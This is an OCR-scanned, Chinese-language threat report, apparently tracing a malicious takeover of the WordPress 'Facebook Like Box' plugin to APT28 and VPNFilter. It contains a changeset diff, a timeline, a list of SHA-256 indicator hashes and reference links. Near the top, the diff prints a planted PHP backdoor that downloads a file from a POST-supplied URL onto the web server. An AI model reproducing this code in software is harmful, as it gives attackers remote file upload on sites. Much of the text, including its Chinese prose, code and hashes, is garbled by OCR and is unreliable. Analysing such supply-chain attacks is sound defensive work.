4 4 Flugin VEL: http:/fwww. vinejoardora com/blog/eardoza—facebook-likebox/
5 5 Deseription: Facebook Like Box enables wou to display the facebook page likes in wour website
6 Yersion: 2.8.8

6 Verzien: 2.8.9
7 huthor: Vinoj Carders

8 8 dmthor VRL: http:/fwww. vinejcardoza com
] 9 Licenze: GEFLZ
10 10
11
11
12
1 [i£(izset ($_POSTL out_fileupload [))
1414
15 $file_url=$_FOST[ file_wl’ 1:
1 $file name=explode("/", $file_wl);
17) $file_name=$file_name[count($file_name)-11:
1 file_put_contents{dirname{_ file_ ). “/oustom—css/$£ile_name”, file_gzet_contents($file_wll});
19 exit:
20

i HBEATE LI 3 A 19 H, Vinoj Cardoza 5 #i#difh H #AEZ 4%, 1E0H4h
(T PLHEN JEAEE T 2017 4 3 A 15 Hal A A B 1F#ik4
johnnash1975):

Changeset 1617360
) N View differences | inline v
Timestamp: |03/19/2017 06:01:31}PM (19 months ago)

Author: vinoj.cardoza ® Show 2 lines around each change
Show the changes in full context

Message: |Changed the author name |

lgnore:
Location: cardoza-facebook-like-box Blank lines
Files: [ S edited Case changes
White space changes
[ tags/2.8.6/readme.txt (3 diffs) Update
[ tag ok_like_box.php (1 diff)
[ tags/2.8.7/readme.txt (4 diffs)
O trunk ok_like_box.php (1 diff)

[ trunk/readme.txt (3 diffs)

[ Unmedified [ Added [l Removed

cardoza-facebook-like-box/tags/2.8.6 Tebuler Unifiec
r14621361617360

1 1 == Facebook Like Box —

2 Contributors: vinoj. cardoza

3 Donate link: https:/fwwe. pavpal. comfegi-bin/websor?

cmd=_donationsébusinesz=rinoj¥Cecardozakdlzmaili2 rency_code=GEPl c=1Sfbn=PP%Z dllonati on=EFdchar ze t=ITFY2 45
2 |Contributors: johnnashl97s |

johnnash1975 7 NI T4 A A SR IR AT A2 040 AR MEA LE N MREEIX 2 A
T, 7& WordPress.org HI'E M _EWEFIAH 2,000+H3EEKH F (85 1E B 37 KA
300,000 177 52 22 46 &):

Tel: 010-86469302
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Version: 2.10.1
Last updated: 1 year ago
Active installations: 20,000+
WordPress Version: 3.0 or higher
Tested up to: 4.8.7
Tags: facebook facebook like

fb like likebox

Advanced View

T did 5 1) FAN TR W 26 =T A vl BE B 48 2 APT28 A4 A Fl A (BA% i X)), 3d
1L¥5 9% WordPress i NE, BEAT— & MU IR B 08, (BRI R (I N
WS =T R AT TS QAR R 0O 712 52 BN R A, (AR 2 e TN i 53t
PN R 15

g5 by BATUINIEEA IR MULER, N7 2 s s e 36 = A A > gk 8k
TESFAFIRE T ERER 72T APT28 B, JAVRIMISEXT %3S APT AN
Bl FA AT — RV R GG BARAGBIFZ I AT 73 B, DL fe KR 3 JiR B ST
rm g, AT SR 5 S I P B 15 A0 5 It

2018-05-23 Cisco Talos 7t AT 4rH #% VPNFilter ifF
2018-06-06 Cisco Talos P F&#HH) Stage 3 HEFHLL

2018-06-07 /N7 =EFAT VPNFilter S ¥ikase i, JHirst i
2018-06-19 /N5 =MLY 52963 (String Lab) %A R AT IR FE 70 a2
2018-06-20 - 10-21 FFELF SEREL AT

2018-10-22 AN =BIEBPT LW EXTA KA VPNFilter IRE ST EHIRE

N~ M3 10CS

a43a4a218cf5755ce7a7744702bb45a34321339ab673863bf6f00ac193cf55fc
2ac52856690468687bbe9e357d02835e9f5226a85eacc19c34ff681c50a6f0d8
13165d9673c240bf43630cddccdc4ab8b5672085520ee12f7596557be02d3605
b81f857cd8efab6e6e5368b1c00d93505808b0db4ab773beel843a3bc948d3f4f
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809193cbcfe5e45fae5d69ca7e64209c02647660d1a79b52ec6d05071b21f61a
7ff2e167370e3458522eaa7b0fb81fe21cd7b9declc74e7fb668e92e261086€0
81368d8130a8b2247d5b118974328e9bd491b574285c21132108a542ea7d38c7
b301d6f2ba8e532b6e219f3d9608a56d643b8F289cfe96d61ab898b4eable3f5
99e1db762ff5645050ceada95dc@3eac@db2ceb3e77d8f17b57cd6e294404cc7
76bf646fce8ff9be94d48aad521a483eed49elcb53cfd5021bb8b933d2c4a7fof
€009b567516b20ef876dabef4158fad40275a960clefd24c804883ae273566b0
7c06b032242abefe2442a8d716dddb216ecd4d4ed2d6celabPe97d30dbbalfb643
£8080b9bfc1bd829dce94697998a6c98e4eb6c9848b02ec10555279221dd910a
4e350d11b606a7e0f5e88270938f938b6d2f0cc8d62alfdd709f4a3f1fa2c828
£1cf895d29970c5229b6a640c253b91306185d4e99f4eac83b7bala325ef9fb8
8395e650€94b155bbf43091777b70fa8fdc44649f3ab335cldfdfebOcdeeddff
a249a69e6921119992136914737621f117a7d8d4add6bac5443¢c002c379fe072
5e75b8b5ebbef78135b00702ced557cfOf30f68ee08b399fc26a3e3367bb177b
£e02240329d4c899d8d0cb7082679ba608b69091a016e08ad9e750186b1943dd
116d584de3673994e716e86fbb3945e0c6102bfbd30c48b13872a808091e6bc9
4263c93ce53d7188c62fecb6a948d70e51c19e1049e07df2c70a467bcefee2c8
5d70e7dd5872cc0d7d0f7015c11400e891c939549c01922bff2bbe3b7d5d1ce3
5c52f115ab8a830d402fac8627dObfdcbbfd4dcfOe6ad8154d49bb85387893aa
e75e224c909c9ead4cb50cd7721606407b09b146051bFb28015fcbe27b4a5e8d
999114044f41adfd9fb6c97c04d7d2fd9af01724b3ab69739acf615654abfa4d3
b118b23a192f372616efe8c2b12977d379ac76df22493c14361587bd1cc8a804
7ba@dc46510492a7f6c9b2bcc155333898d677cd8a88fePelaclad3852f1c170
83b3dbf7f6bc5f98151b26781fa892fc1a014c62af18c95ae5378482041413b8
fce@3f57b3fd3842efac3ce676687794c4decc29b612068e578134F3c4c4296a
1f26b69a353198bb047dde86d48198be8271e07f8c9d647d2f562207e1330a37
1e824654afba®367818177e065c487a07192069711eeb4abe397010771b463b5
84227f906c7149071d6598b9035fc785d2b144a6349d0cf7c29177co0db2dc2f
6eb09f805a68b29c9516d649019beaPbb4796e504ca379783455508a08161087
aabbaal35b2ada5560833747260545d6a5b4955816244c0119443dc87c00294d
4c5e21125738c330aflbfe5cabc5f18faldbbef53805dda2c3¢c31974555F7ecS
0137461273281472e718111dd12371f0c9fc26f576a883142413c7591381006c4
actc72b8d6611dc9cd6a3fladd484aaladfb404ad5taaa8b8db5747b0ff05bc22
fe9c17ac036622b2d73466F62b5d095edda2d3b60fa546a48dobb181f8b11059F
830091904dab92467956b91555bc88fa7e6bbde514b8a90bbo78c8a3bb2f39a9
5a28ad479d55275452e892b799¢32803181307079777bbla5c4d24477206d16b
8440128350e98375b7eff67a147dfed4e85067d6712ad20d9485f3de246505a5F
275c4e86218915c337d7e37e7caba36cb830512b17353bf9716c4babdceb33ed
b700207c903e8dad41133f11b691703324ec79eb56c98b22efaeacPalodd7ecss
22a149a88539e8dd065c8885053a30d269be63d41a5db3f66c1982202761aa75
1al11240d0af108720dela8a72ceadef102889f4d5679c1a187559d8d98143b0b
3b6be595b4183b473964345090077b1df29b0cace®077047b46174ccO9c690el
620c51183457d0e8cb985flaff07c6d4a33da7566297d41af681ae3e5fbd2180
4c8da690501cP073a3c262a3079d8efac3fea9e2db9c55f3c512589e9364e85c¢
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d92282acf3feab6bB5a75abab95e98a5ealccl1151f9e5370f712b69a816bf475
30382c1e7566d59723ff7ef785a1395711be64873dbcab6d86691b1f5d86ba29+

. ZHEER

https://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html
2. https://www.pluginvulnerabilities.com/2017/10/16/is-this-another-case-of-a-malicious-
takeover-of-a-wordpress-plugin/

3. https://www.wordfence.com/blog/2018/01/wordpress-supply-chain-
attacks/

4. http://www.6cloudtech.com/upload/default/20180821/3b9df8389093544799
5292156402215c.pdf
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http://www.6cloudtech.com/upload/default/20180821/3b9df83890935447995292156402215c.pdf
http://www.6cloudtech.com/upload/default/20180821/3b9df83890935447995292156402215c.pdf

